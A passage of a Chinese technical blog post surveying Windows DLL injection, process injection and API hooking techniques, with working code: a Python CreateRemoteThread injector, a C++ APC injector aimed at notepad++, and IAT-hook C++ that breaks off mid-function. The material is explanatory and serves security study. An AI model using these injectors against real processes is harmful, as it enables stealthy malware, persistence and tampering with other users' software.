Windows Dll Injection、Process Injection、API Hook、DLL後門/惡意程式入侵技術

Andrew.Hann發表於2017-02-02

catalogue

1. 引言
2. 使用登錄檔注入DLL
3. 使用Windows掛鉤來注入DLL
4. 使用遠端執行緒來注入DLL
5. 使用木馬DLL來注入DLL
6. 把DLL作為偵錯程式來注入
7. 使用createprocess來注入程式碼
8. APC DLL注入
9. API Hook攔截
10. Detours - Inline Hook
11. 以服務形式執行DLL中指定函式/或直接指定EXE作為啟動程式
12. 劫持現有Service的啟動DLL
13. Reflective DLL injection In Memory
14. 通過系統指令rundll32.exe執行DLL中指定函式
15. DLL劫持 lpk.dll
16. Reflective DLL Injection with PowerShell
17. 修改exe檔案自身匯入表劫持dll
18. 利用regsvr32 /s /i:http:註冊dll元件
19. windows SSDT hook - 核心態hook
20. windows IDT hook - 核心態hook
21. IAT hook - 使用者態hook

 

1.  引言

應用程式需要跨越程式邊界來訪問另一個程式的地址空間的情況如下

1. 我們想要從另一個程式建立的視窗派生子類視窗
2. 我們需要一些手段來輔助除錯,例如我們需要確定另一個程式正在使用哪些DLL
3. 我們想對另一個程式安裝Hook

我們接下來要研究將一個DLL注入到另一個程式的地址空間中,一旦DLL程式碼進入另一個地址空間,那麼我們就可以在那個程式中實現安全防禦邏輯。這裡需要注意是的,DLL注入是一個一個前提條件,因為Windows的記憶體管理體系是不允許另一個程式直接修改當前程式的API行為的,而WriteProcessMemory又只能修改小範圍的跨程式記憶體地址,這種情況下,我們要實現執行時中跨程式API Hook(有別於Linux LD_PRELOAD那種需要重新啟動程式才能生效的全域性Glibc庫API劫持思路),就必須進行DLL注入

0x1: Detect and Plug GDI Leaks in Your Code with Two Powerful Tools for Windows XP

0x2: DLL(Dynamic Link Library)

1. 動態連結程式庫,全稱:Dynamic Link Library,簡稱DLL,作用在於為應用程式提供擴充套件功能。應用程式想要呼叫DLL檔案,需要跟其進行"動態連結"
2. 從程式設計的角度,應用程式需要知道DLL檔案匯出的API函式方可呼叫。由此可見,DLL檔案本身並不可以執行,需要應用程式呼叫
3. DLL檔案執行時必須插入到應用程式的記憶體模組當中,如果正在執行的程式不關閉,則該DLL很難清除

0x3: API Hook Project

https://www.apriorit.com/dev-blog/160-apihooks
https://github.com/williammortl/Prochook64
https://github.com/Zer0Mem0ry/APIHook

Relevant Link:

http://wotseb.bokee.com/6568089.html
http://blog.naver.com/hypermin/70011196503

 

2. 使用登錄檔注入DLL

windows整個系統的配置都儲存在這個登錄檔中,我們可以通過調整其中的設定來改變系統的行為

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

1. AppInit_Dlls: 該鍵的值可能會包含一個DLL的檔名或一組DLL的檔名(通過空格或逗號分隔)(由於空格是用來分隔檔名的,所以我們必須避免在檔名中包含空格)。第一個DLL的檔名可以包含路徑,但其他DLL包含的路徑則會被忽略,出於這個原因,我們最好是將自己的DLL放到windows的系統目錄中,這樣就不必指定路徑了
2. LoadAppInit_Dlls: 為了能讓系統使用AppInit_Dlls這個登錄檔項,需要建立一個LoadAppInit_Dlls,型別為DWORD的登錄檔項,並將它的值設定為1

當User32.dll被對映到一個新的程式時,會收到DLL_PROCESS_ATTACH通知,當User32.dll對它進行處理的時候,會取得上述登錄檔鍵的值,並呼叫LoadLibary來載入這個字串中指定的每個DLL。當系統載入每個DLL的時候,會呼叫它們的DllMain函式,並將引數fdwReason的值設定為DLL_PROCESS_ATTACH,這樣每個DLL都能夠對自己進行初始化

0x1: 該方法的風險點

1. 由於被注入的DLL是在程式的生命週期的早期(Loader)被載入的,因此我們在呼叫函式的時候應該謹慎,呼叫Kernel32.dll中的函式應該沒有問題,但是呼叫其他DLL中的函式可能會導致失敗,甚至可能會導致藍屏
2. User32.dll不會檢查每個DLL的載入或初始化是否成功

0x2: 該方案的缺點

1. 我們的DLL只會被對映到那些使用了User32.dll的程式中,所有基於GUI的應用程式都使用了User32.dll,但大多數基於CUI的應用程式都不會使用它。因此,如果想要將DLL注入到編譯器或者連結器或者命令列程式,這種方法就不可行
2. 我們的DLL會被對映到每個基於GUI的應用程式中,但我們可能只想把DLL注入到一個或少數幾個應用程式中。我們的DLL被對映到越多的程式中,它導致"容器"程式崩潰的可能性也就越大
3. 我們注入的DLL會在應用程式終止之前,一直存在於程式的地址空間中,最好是隻在需要的時候才注入我們的DLL

 

3. 使用Windows掛鉤來注入DLL

我們可以用掛鉤(SetWindowsHookEx)來將一個DLL注入到程式的地址空間中。注意,當系統把掛鉤過濾函式(hook filter function)所在的DLL注入或對映到地址空間中時,會對映整個DLL,而不僅僅只是掛鉤過濾函式,這意味著該DLL內的所有函式存在於被注入的程式中,能夠被被注入程式中的任何執行緒呼叫

0x1: 該方案的優缺點

1. 和利用登錄檔來注入DLL的方法相比,這種方法允許我們在不需要該DLL的時候從程式的地址空間中撤銷對它的對映,只需要呼叫UnhookWindowsHookEx就可以達到目的。當一個執行緒呼叫UnhookWindowsHookEx的時候,系統會遍歷自己內部的一個已經注入過該DLL的程式列表,並將該DLL的鎖計數器遞減。當鎖計數器減到0的時候,系統會自動從程式的地址空間中撤銷對該DLL的對映
2. 系統為了防止記憶體訪問違規,在被注入程式指定Hook函式的時候,會對注入DLL的鎖計數器加1,因為如果不這麼做,則被注入程式在執行Hook函式的時候,系統的另一個程式可能會呼叫UnhookWindowsHookEx,從而引起記憶體訪問違規
3. 所有這一切意味著我們不能在呼叫了Hook函式,且函式還在執行時把掛鉤清楚,在Hook函式執行的整個宣告週期,這個掛鉤必須一直有效

這種方式可以理解為借用了windows自己原生的機制來進行DLL注入

 

4. 使用遠端執行緒來注入DLL

遠端執行緒(remote thread)提供了最高的靈活性,從根本上來說,DLL注入技術要求目標程式中的一個執行緒呼叫LoadLibrary來載入我們自己的DLL。由於我們不能輕易地控制別人程式中的執行緒,因此這種方法要求我們在目標程式中建立一個新的執行緒

HANDLE WINAPI CreateRemoteThread(
  _In_  HANDLE                 hProcess,
  _In_  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  _In_  SIZE_T                 dwStackSize,
  _In_  LPTHREAD_START_ROUTINE lpStartAddress,
  _In_  LPVOID                 lpParameter,
  _In_  DWORD                  dwCreationFlags,
  _Out_ LPDWORD                lpThreadId
);


1. hProcess: 表示新建立的執行緒歸哪個程式所有
A handle to the process in which the thread is to be created. The handle must have the PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_VM_READ access rights, and may fail without these rights on certain platforms

2. lpStartAddress: 代表新建遠端執行緒的入口函式地址
注意,這個函式地址應該在遠端程式的地址空間中,而不是在我們自己程式的地址空間。因為我們只是在遠端程式中新建了一個執行緒,我們自己的DLL這個時候還沒有被載入遠端程式中,我們這個時候是孤身深入地方陣地的,沒有攜帶任何武器,只能使用地方陣地上已有的東西製造登入平臺,來實現後續的DLL注入(即利用LoadLibrary)

這裡需要注意的是,如果在呼叫CreateRemoteThread的時候直接引用LoadLibraryW,該引用會被解析為我們模組的匯入段中的LoadLibraryW轉換函式的地址。如果把這個轉換函式的地址作為遠端執行緒的起始地址傳入,其結果很可能是訪問違規,為了強制讓程式碼略過轉換函式並直接呼叫LoadLibraryW函式,我們必須通過呼叫GetProcAddress來得到LoadLibraryW的準確地址

對CreateRemoteThread的呼叫假定在本地程式(local process)和遠端程式中,Kernel32.dll被對映到地址空間中的同一記憶體地址。每個應用程式都需要Kernel32.dll,且每個程式中都會將Kernel32.dll對映到同一個地址,即使這個地址在系統重啟之後可能會改變,因此,我們可以按照如下的方式來呼叫

PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibrary");
HANDLE hThread = CreateRemoteThread(hProcessRemote, NULL, 0, pfnThreadRtn, L"C:\\Mylib.dll", 0, NULL);

但是這裡還有一個問題,還是記憶體地址空間隔離的問題,我們傳入的這個L"C:\\Mylib.dll"在編譯時會被翻譯為當前本地程式的記憶體地址,但是對於遠端程式來說,這個地址可能是無效的,這可能導致訪問違規,進而導致遠端程式崩潰。為了解決這個問題,我們需要把DLL的路徑字串存放到遠端程式的地址空間去,然後在呼叫CreateRemoteThread傳入

LPVOID WINAPI VirtualAllocEx(
  _In_     HANDLE hProcess,
  _In_opt_ LPVOID lpAddress,
  _In_     SIZE_T dwSize,
  _In_     DWORD  flAllocationType,
  _In_     DWORD  flProtect
);
讓我們在遠端程式中分配一塊記憶體,一旦為字串分配了一塊記憶體,我們還需要向這個記憶體塊中寫入字串內容
BOOL WINAPI WriteProcessMemory(
  _In_  HANDLE  hProcess,
  _In_  LPVOID  lpBaseAddress,
  _In_  LPCVOID lpBuffer,
  _In_  SIZE_T  nSize,
  _Out_ SIZE_T  *lpNumberOfBytesWritten
);

這裡再一次說明,CreateRemoteThread裡傳入的所有資訊,都必須是在遠端程式中有效的地址,這就相當於我們深入敵陣之前已經探查好了地形,當深入敵陣的那一瞬間,我們是按照事先探查好的地形(對應於遠端程式中的有效記憶體地址)來進行後續的行動(即LoadLibraryW)

梳理一下總的流程

1. 用VirtualAllocEx函式在遠端程式的地址空間中分配一塊記憶體
2. 用WriteProcessMemory函式把DLL的路徑名字串複製到第一步分配的記憶體中
3. 用GetProcAddress函式來得到LoadLibraryW函式(在Kernel32.dll)在遠端進行中的實際地址
4. 用CreateRemoteThread函式在遠端程式中建立一個執行緒,讓新執行緒呼叫正確的LoadLibraryW函式並在引數中傳入第一步分配的記憶體地址。這時,DLL已經被注入到遠端程式的地址空間,DLL的DllMain函式會收到DLL_PROCESS_ATTACH通知並且可以執行我們自定義的程式碼邏輯。當DllMain返回的時候,遠端執行緒會從LoadLibraryW呼叫返回到BaseThreadStart函式。BaseThreadStart然後呼叫ExitThread,使遠端執行緒終止
5. 現在遠端程式中有一塊記憶體,它是我們在第一步分配的,DLL也還在遠端程式的記憶體空間中,為了對它們進行清理,我們需要在遠端執行緒退出之後執行後續步驟
6. 用VirtualFreeEx來釋放第一步分配的記憶體
7. 用GetProcAddress來得到FreeLibrary函式(在Kernel32.dll)中的實際地址
8. 用CreateRemoteThread函式在遠端程式中建立一個執行緒,讓該執行緒呼叫FreeLibrary函式並在引數中傳入遠端DLL的HMODULE

0x1: 方案風險點

1. CreateRemoteThread的第一個引數是遠端程式的控制程式碼HANDLE,我們需要呼叫OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId);,並請求合適的訪問許可權,方案相容性可能就出在這個訪問許可權。如果OpenProcess返回NULL,那說明應用程式所在的安全上下文(security context)不允許它開啟目標程式的控制程式碼。一些程式是本地系統帳號(local system account)執行的,例如WinLogon、SvcHost和Csrss,登入的使用者是無法對這些程式進行修改的

0x2: python-dll-injection

#!/usr/bin/python
# Win32 DLL injector from Grey Hat Python
# Minor formatting cleanups done...
import sys
from ctypes import *

print "DLL Injector implementation in Python"
print "Taken from Grey Hat Python"

if (len(sys.argv) != 3):
    print "Usage: %s <PID> <Path To DLL>" %(sys.argv[0])
    print "Eg: %s 1111 C:\\test\messagebox.dll" %(sys.argv[0])
    sys.exit(0)

PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = ( 0x00F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32
pid = sys.argv[1]
dll_path = sys.argv[2]

dll_len = len(dll_path)

# Get handle to process being injected...
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )

if not h_process:
    print "[!] Couldn't get handle to PID: %s" %(pid)
    print "[!] Are you sure %s is a valid PID?" %(pid)
    sys.exit(0)

# Allocate space for DLL path
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE)

# Write DLL path to allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))

# Resolve LoadLibraryA Address
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")

# Now we createRemoteThread with entrypoiny set to LoadLibraryA and pointer to DLL path as param
thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)):
    print "[!] Failed to inject DLL, exit..."
    sys.exit(0)

print "[+] Remote Thread with ID 0x%08x created." %(thread_id.value)

需要明白的是,CreateRemoteThread+DLL注入只是讓我們有機會定向地讓一個目標遠端執行我們自定義的程式碼邏輯。到了這一步還未完成API Hook,因為程式注入只有One Shoot一次機會,如果我們希望持久地控制目標程式的行為,就需要在注入的DLL的DllMain中實現API Hook的程式碼邏輯

Relevant Link:

https://github.com/infodox/python-dll-injection

 

5. 使用木馬DLL來注入DLL

注入DLL的另一種方式是,把我們知道的程式必然會載入的一個DLL替換掉,我們替換的DLL內部,我們匯出原來的DLL所匯出的所有符號(保證呼叫方無感知)

0x1: 方案的風險點

1. 這種方法不能自動適應被替換DLL版本的變化

 

6. 把DLL作為偵錯程式來注入

偵錯程式可以在被除錯程式中執行許多特殊的操作。系統載入一個被除錯程式(debugger)的時候,會在被除錯程式的地址空間準備完畢之後,但被除錯程式的主執行緒尚未開始執行任何程式碼之前,自動通知偵錯程式。這是,偵錯程式可以強制將一些程式碼注入到被除錯程式的地址空間中(例如使用writeprocessmemory),然後讓被除錯程式的主執行緒去執行這些程式碼。

這種方法要求我們對被除錯執行緒的context結果進行操作,這也意味著我們必須編寫與cpu有關的程式碼。在預設情況下,如果偵錯程式終止,那麼windows會自動終止被除錯程式,但是,偵錯程式可以通過debugsetprocesskillonexit並傳入false來改變預設的行為

 

7. 使用createprocess來注入程式碼

如果要注入程式碼的程式是由我們的程式生成的(spawn),那麼,我們的程式(父程式)可以在建立新程式的時候將它掛起。這種方法允許我們改變子程式的狀態,同時又不影響它的執行,因為它根本還沒有開始執行。

父程式會得到子程式主執行緒的控制程式碼,通過這個控制程式碼,可以對執行緒執行的程式碼進行修改,由於我們可以設定執行緒的指令指標,讓它執行記憶體對映檔案中的程式碼

1. 讓程式生成一個被掛起的子程式
2. 從.exe模組的檔案頭中取得主執行緒的起始記憶體地址
3. 將位於該記憶體地址處的機器指令儲存起來
4. 強制將一些手工編寫的機器指令寫入到該記憶體地址處,這些指令應該呼叫loadlibrary來載入一個dll
5. 讓子程式的主執行緒恢復執行,從而讓這些指令得到執行
6. 把儲存起來的原始指令恢復到起始地址處
7. 讓程式從起始地址繼續執行,就好像什麼都沒有發生過一樣

0x1: 方案優缺點

1. 首先,它在應用程式開始執行之前得到地址空間
2. 其次,由於我們的應用程式不是偵錯程式,因此我們可以非常容易地對應用程式和注入的dll進行除錯
3. 最後,這種方法適用於cui、gui程式
4. 但是這種方法也有缺點。只有當我們的程式碼在父程式中的時候,我們才能用這種方法來注入dll
5. 同時,這種方法還和cpu相關,我們必須為不同的cpu平臺做相應的修改

 

8. APC DLL注入

0x1: 核心方式投遞APC

非同步過程呼叫(APC)是NT非同步處理體系結構中的一個基礎部分。Alertable IO(告警IO)提供了更有效的非同步通知形式,當IO請求完成後,一旦執行緒進入可告警狀態,回撥函式將會執行,也就是一個APC的過程.
執行緒進入告警狀態時,核心將會檢查執行緒的APC佇列,如果佇列中有APC,將會按FIFO方式依次執行。如果佇列為空,執行緒將會掛起等待事件物件。以後的某個時刻,一旦APC進入佇列,執行緒將會被喚醒執行APC.
投遞APC是一個執行緒動作,最終由系統呼叫KiDeliverApc完成。所以,我們可以填充一個APC(KeInitializeapc,KeInsertQueueApc)插入到執行緒Alertable為TRUE的APC對列中。
任意一個DLL插入到程式執行的是使用者空間程式碼,so,必定要使用LoadLibrayA載入才可訪問使用者地址空間。so這是個使用者模式下的APC。使用者模式可以傳遞(ULONG)LoadLibrayA地址,核心裡就可使用這個地址

0x2: 應用層方式插入APC

從流程上看QueueUserAPC直接轉入了系統服務NtQueueApcThread從而利用KeInsertQueueApc向給出的目標執行緒的 APC佇列插入一APC物件。倘若KiDeliverApc順利的去構造apc環境並執行我們的程式碼那一切就OK了,但是沒有那麼順利的事, ApcState中UserApcPending是否為TRUE有重要的影響,結果往往是等了很久程式碼還是沒得到執行。在核心態往往不成問題可以直接賦值但是使用者態不行.
解決這個問題的方法有2個

1. 把所有執行緒全都QueueUserAPC。但這樣做確實影響效率
2. 使用目標執行緒呼叫 SleepEx(.,TRUE),然後QueueUserAPC插入DLL 

APC是非同步過程呼叫,系統建立執行緒的時候會為執行緒建立一個APC佇列,當執行緒呼叫SleepEx,WaitSingleObjectEx等函式時,並把執行緒狀態被設定為可提醒狀態時,執行緒並不會睡眠,而是檢查APC佇列是否為空,如果不為空,轉去執行APC佇列中的每一項,因此給目標程式中的執行緒插入APC,就可以實現程式注入

1. 第一步: 開啟目標程式獲得控制程式碼
2. 第二步: 列舉目標程式裡面的執行緒得到執行緒ID
HANDLE WINAPI CreateToolhelp32Snapshot(
      _In_ DWORD dwFlags,//snapshot包涵的內容
      _In_ DWORD th32ProcessID//程式ID
),用來建立一個列舉執行緒的快照。然後呼叫函式Thread32First和Thread32Next來迴圈列舉執行緒 
BOOL WINAPI Thread32First(
      _In_    HANDLE          hSnapshot,//快照控制程式碼
      _Inout_ LPTHREADENTRY32 lpte//儲存相關資訊的結構體
)
BOOL WINAPI Thread32Next(
      _In_  HANDLE          hSnapshot,
      _Out_ LPTHREADENTRY32 lpte
)。

3. 第三步: 開啟執行緒得到執行緒控制程式碼
HANDLE WINAPI OpenThread(
     _In_ DWORD dwDesiredAccess,//開啟許可權
      _In_ BOOL  bInheritHandle,//子程式是否繼承該控制程式碼
      _In_ DWORD dwThreadId//執行緒ID
)

4. 第四步: 呼叫QueueUserAPC函式向列舉到的每一個執行緒插入APC
HANDLE WINAPI OpenThread(
     _In_ DWORD dwDesiredAccess,//開啟許可權
      _In_ BOOL  bInheritHandle,//子程式是否繼承該控制程式碼
      _In_ DWORD dwThreadId//執行緒ID
)

注入notepad++示例

// apc-inject.cpp : 定義控制檯應用程式的入口點。
//

#include "stdafx.h"


#include <windows.h>
#include <TlHelp32.h>
#include <vector>

using std::vector;

bool FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) {
    auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
        return false;
    pid = 0;
    PROCESSENTRY32 pe = { sizeof(pe) };
    if (::Process32First(hSnapshot, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, exeName) == 0) {
                pid = pe.th32ProcessID;
                THREADENTRY32 te = { sizeof(te) };
                if (::Thread32First(hSnapshot, &te)) {
                    do {
                        if (te.th32OwnerProcessID == pid) {
                            tids.push_back(te.th32ThreadID);
                        }
                    } while (::Thread32Next(hSnapshot, &te));
                }
                break;
            }
        } while (::Process32Next(hSnapshot, &pe));
    }
    ::CloseHandle(hSnapshot);
    return pid > 0 && !tids.empty();
}

void main()
{
    DWORD pid;
    vector<DWORD> tids;
    if (FindProcess(L"notepad++.exe", pid, tids))
    {
        printf("OpenProcess\n");
        HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
        printf("VirtualAllocEx\n");
        auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        wchar_t buffer[] = L"c:\\test\\testDll.dll";
        printf("WriteProcessMemory\n");
        ::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr);
        for (const auto& tid : tids)
        {
            printf("OpenThread\n");
            HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
            if (hThread)
            {
                printf("GetProcAddress\n");
                ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p);
            }
        }
        printf("VirtualFreeEx\n");
        ::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
    }
}

dll code

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, NULL, NULL, 0);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Relevant Link:

http://gslab.qq.com/article-206-1.html
http://www.pediy.com/kssd/pediy11/114648.html
https://technet.microsoft.com/en-us/sysinternals/processexplorer.aspx
https://github.com/3gstudent/Inject-dll-by-APC
http://www.cnblogs.com/arsense/p/6427472.html
http://www.programlife.net/apc-injection.html

 

9. API Hook攔截

0x1: 通過覆蓋程式碼來攔截api(inline hook)

1. 在記憶體中對要攔截的函式(假設是Kernel32.dll中的ExitProcess)進行定位,從而得到它的的記憶體地址
2. 把這個函式起始的幾個位元組儲存在我們自己的記憶體中
3. 用CPU的一條JUMP指令來覆蓋這個函式起始的幾個位元組,這條JUMP指令用來跳轉到我們的替代函式的記憶體地址。當然,我們的替代函式的函式簽名(引數)必須與要攔截的函式的函式簽名完全相同;1)所有的引數必須相同、2)返回值必須相同、3)呼叫約定也必須相同
4. 現在,當執行緒呼叫被攔截函式(hook function)的時候,跳轉指令實際上會跳轉到我們的替代函式。這時,我們就可以執行自己想要執行的任何程式碼
5. 為了撤銷對函式的攔截,我們必須把(第二步)儲存下來的自己放回被攔截函式起始的幾個位元組中
6. 我們呼叫被攔截函式(現在已經不再對它進行攔截了),讓該函式執行它的正常處理

需要注意的是,這種方法存在一些嚴重不足

1. 它對CPU有依賴性;x86、x64、IA-64以及其他CPU的JUMP指令各不相同,為了讓這種方法能夠工作,我們必須手工編寫機器指令
2. 這種方法在搶佔式、多執行緒環境下無法工作。一個執行緒覆蓋另一個函式起始位置的程式碼是需要時間的,在這個過程中,另一個執行緒可能試圖呼叫同一個函式,其結果可能是災難性的

0x2: 通過修改模組的匯入段來攔截API

我們知道,一個模組的匯入段包含一組DLL,為了讓模組能夠執行,這些DLL是必須的。此外,匯入段還包含一個符號表,其中列出了該模組從各DLL中匯入的符號。當該模組呼叫另一個匯入函式的時候,執行緒實際上會先從模組的匯入表中得到相應的匯入函式的地址,然後再跳轉到那個地址

因此,為了攔截一個特定的函式,我們需要修改它在模組的匯入段中的地址(定向針對某程式Hook)

需要注意的是,通過修改模組的匯入段只能影響該模組本身(常常是該主程式)的呼叫行為,而不影響其他程式,同時,如果該模組地址空間中的DLL也不受影響,因為這些DLL有它們自己的匯入段,它們並沒有被修改。如果想要捕獲所有模組對執行函式的所有呼叫,必須對載入到地址空間中的每個模組都進行匯入段修改

1. ReplaceIATEntryInAllMods中遍歷模組的框架

void CAPIHOOK::ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod)  
{  
    //取得當前模組控制程式碼  
    HMODULE hModThis = NULL;  
    if (bExcludeAPIHookMod)  
    {  
        MEMORY_BASIC_INFORMATION mbi;  
        if (0 != ::VirtualQuery(ReplaceIATEntryInAllMods, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) //ReplaceIATEntryInAllMods必須為類的static函式  
        {  
            hModThis = (HMODULE)mbi.AllocationBase;  
        }  
    }  
    //取得本程式的模組列表  
    HANDLE hModuleSnap = INVALID_HANDLE_VALUE;   
    MODULEENTRY32 me32;  
    hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());  
    if (INVALID_HANDLE_VALUE == hModuleSnap)  
    {  
        return;  
    }  
    me32.dwSize = sizeof( MODULEENTRY32 );   
    if( !Module32First( hModuleSnap, &me32 ) )   
    {   
        return;  
    }  
    do   
    { //對每一個模組  
        if (me32.hModule != hModThis)  
        {  
            ReplaceIATEntryInOneMod(pszExportMod, pfnCurrent, pfnNewFunc, me32.hModule);  
        }  
    } while( Module32Next( hModuleSnap, &me32 ) );   
  
  
    ::CloseHandle(hModuleSnap); //配對寫  
  
}  

2. 遍歷連結串列摘除自己(恢復被Hook匯入函式)的框架

CAPIHOOK::~CAPIHOOK(void)  
{  
    //取消對函式的HOOK  
    ReplaceIATEntryInAllMods(m_pszModName, m_pfnHook, m_pfnOrig, TRUE);  
  
    //把自己從連結串列中刪除  
    CAPIHOOK* p = sm_pHeader;  
    if (p == this)  
    {  
        sm_pHeader = this->m_pNext;  
    }  
    else  
    {  
        while(p != NULL)  
        {  
            if (p->m_pNext == this)  
            {  
                p->m_pNext = this->m_pNext;  
                break;  
            }  
            p = p->m_pNext;  
        }  
    }  
}  

3. ReplaceIATEntryInOneMod

使用IAT Hook劫持技術,需要額外處理幾個特殊的情況

1. 如果一個執行緒在我們呼叫了ReplaceIATEntryInAllMods之後呼叫LoadLibrary來動態載入一個新的DLL,這種情況下,新載入的DLL並沒有被IAT替換。因此我們需要攔截LoadLibraryA、LoadLibraryW、LoadLibraryExA、LoadLibraryExW函式,這樣我們就能夠捕獲這些呼叫,併為新載入的模組呼叫ReplaceIATEntryInAllMod。之所以要用All,是因為新載入的DLL可能有靜態依賴其他DLL,這些靜態依賴的DLL不會觸發我們的LoadLibrary..系列函式
2. 假如目標模組是喲個GetProcAddress動態呼叫函式,程式流也不會到IAT這裡,因此我們需要對GetProcAddress進行單獨的Hook處理

.cpp

#include "APIHOOK.h"  
#include <Tlhelp32.h>  
  
CAPIHOOK *CAPIHOOK::sm_pHeader = NULL;  
CAPIHOOK CAPIHOOK::sm_LoadLibraryA("kernel32.dll", "LoadLibraryA", (PROC)CAPIHOOK::LoadLibraryA, TRUE);  
CAPIHOOK CAPIHOOK::sm_LoadLibraryW("kernel32.dll", "LoadLibraryW", (PROC)CAPIHOOK::LoadLibraryW, TRUE);  
CAPIHOOK CAPIHOOK::sm_LoadLibraryExA("kernel32.dll", "LoadLibraryExA", (PROC)CAPIHOOK::LoadLibraryExA, TRUE);  
CAPIHOOK CAPIHOOK::sm_LoadLibraryExW("kernel32.dll", "LoadLibraryExW", (PROC)CAPIHOOK::LoadLibraryExW, TRUE);  
CAPIHOOK CAPIHOOK::sm_GetProcAddress("kernel32.dll", "GetProcAddress", (PROC)CAPIHOOK::GetProcess, TRUE);  
CAPIHOOK::CAPIHOOK(LPTSTR lpszModName, LPSTR pszFuncName, PROC pfnHook, BOOL bExcludeAPIHookMod)  
{  
    //初始化變數  
    m_pszModName = lpszModName;  
    m_pszFuncName = pszFuncName;  
    m_pfnOrig = ::GetProcAddress(::GetModuleHandleA(lpszModName), pszFuncName);  
    m_pfnHook = pfnHook;  
  
    //將此物件加入連結串列中  
    m_pNext = sm_pHeader;  
    sm_pHeader = this;  
  
    //在當前已載入的模組中HOOK這個函式  
    ReplaceIATEntryInAllMods(lpszModName, m_pfnOrig, m_pfnHook, bExcludeAPIHookMod);  
}  
  
  
CAPIHOOK::~CAPIHOOK(void)  
{  
    //取消對函式的HOOK  
    ReplaceIATEntryInAllMods(m_pszModName, m_pfnHook, m_pfnOrig, TRUE);  
  
    //把自己從連結串列中刪除  
    CAPIHOOK* p = sm_pHeader;  
    if (p == this)  
    {  
        sm_pHeader = this->m_pNext;  
    }  
    else  
    {  
        while(p != NULL)  
        {  
            if (p->m_pNext == this)  
            {  
                p->m_pNext = this->m_pNext;  
                break;  
            }  
            p = p->m_pNext;  
        }  
    }  
}  
//防止程式執行期間動態載入模組  
void CAPIHOOK::HookNewlyLoadedModule(HMODULE hModule, DWORD dwFlags)  
{  
    if (hModule!=NULL && (dwFlags&LOAD_LIBRARY_AS_DATAFILE)==0)  
    {  
        CAPIHOOK* p = sm_pHeader;  //迴圈遍歷連結串列,對每個CAPIHOOK進入HOOK  
        if (p != NULL)    
        {  
            ReplaceIATEntryInOneMod(p->m_pszModName, p->m_pfnOrig, p->m_pfnHook, hModule);  
            p = p->m_pNext;  
        }  
    }  
  
}  
  
//防止程式執行期間動態呼叫API函式  
FARPROC WINAPI CAPIHOOK::GetProcess(HMODULE hModule, PCSTR pszProcName)  
{  
    //得到函式的真實地址  
    FARPROC pfn = ::GetProcAddress(hModule, pszProcName);  
    //遍歷列表 看是不是要HOOK的函式  
    CAPIHOOK* p = sm_pHeader;  
    while(p != NULL)  
    {  
        if (p->m_pfnOrig == pfn) //是要HOOK的函式  
        {  
            pfn = p->m_pfnHook; //HOOK掉  
            break;  
        }  
        p = p->m_pNext;  
    }  
    return pfn;  
  
}  
  
void CAPIHOOK::ReplaceIATEntryInOneMod(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, HMODULE hModCaller)  
{  
  
    IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)hModCaller;  
    IMAGE_OPTIONAL_HEADER* pOpNtHeader = (IMAGE_OPTIONAL_HEADER*)((BYTE*)hModCaller + pDosHeader->e_lfanew + 24); //這裡加24  
    IMAGE_IMPORT_DESCRIPTOR* pImportDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)hModCaller + pOpNtHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);  
  
    BOOL bFindDll = FALSE;  
    while (pImportDesc->FirstThunk)  
    {  
        char* pszDllName = (char*)((BYTE*)hModCaller + pImportDesc->Name);  
  
        if (stricmp(pszDllName, pszExportMod) == 0)//如果找到pszExportMod模組,相當於hook messageboxa時的“user32.dll”  
        {  
            bFindDll = TRUE;  
            break;  
        }  
        pImportDesc++;    
    }  
  
    if (bFindDll)  
    {  
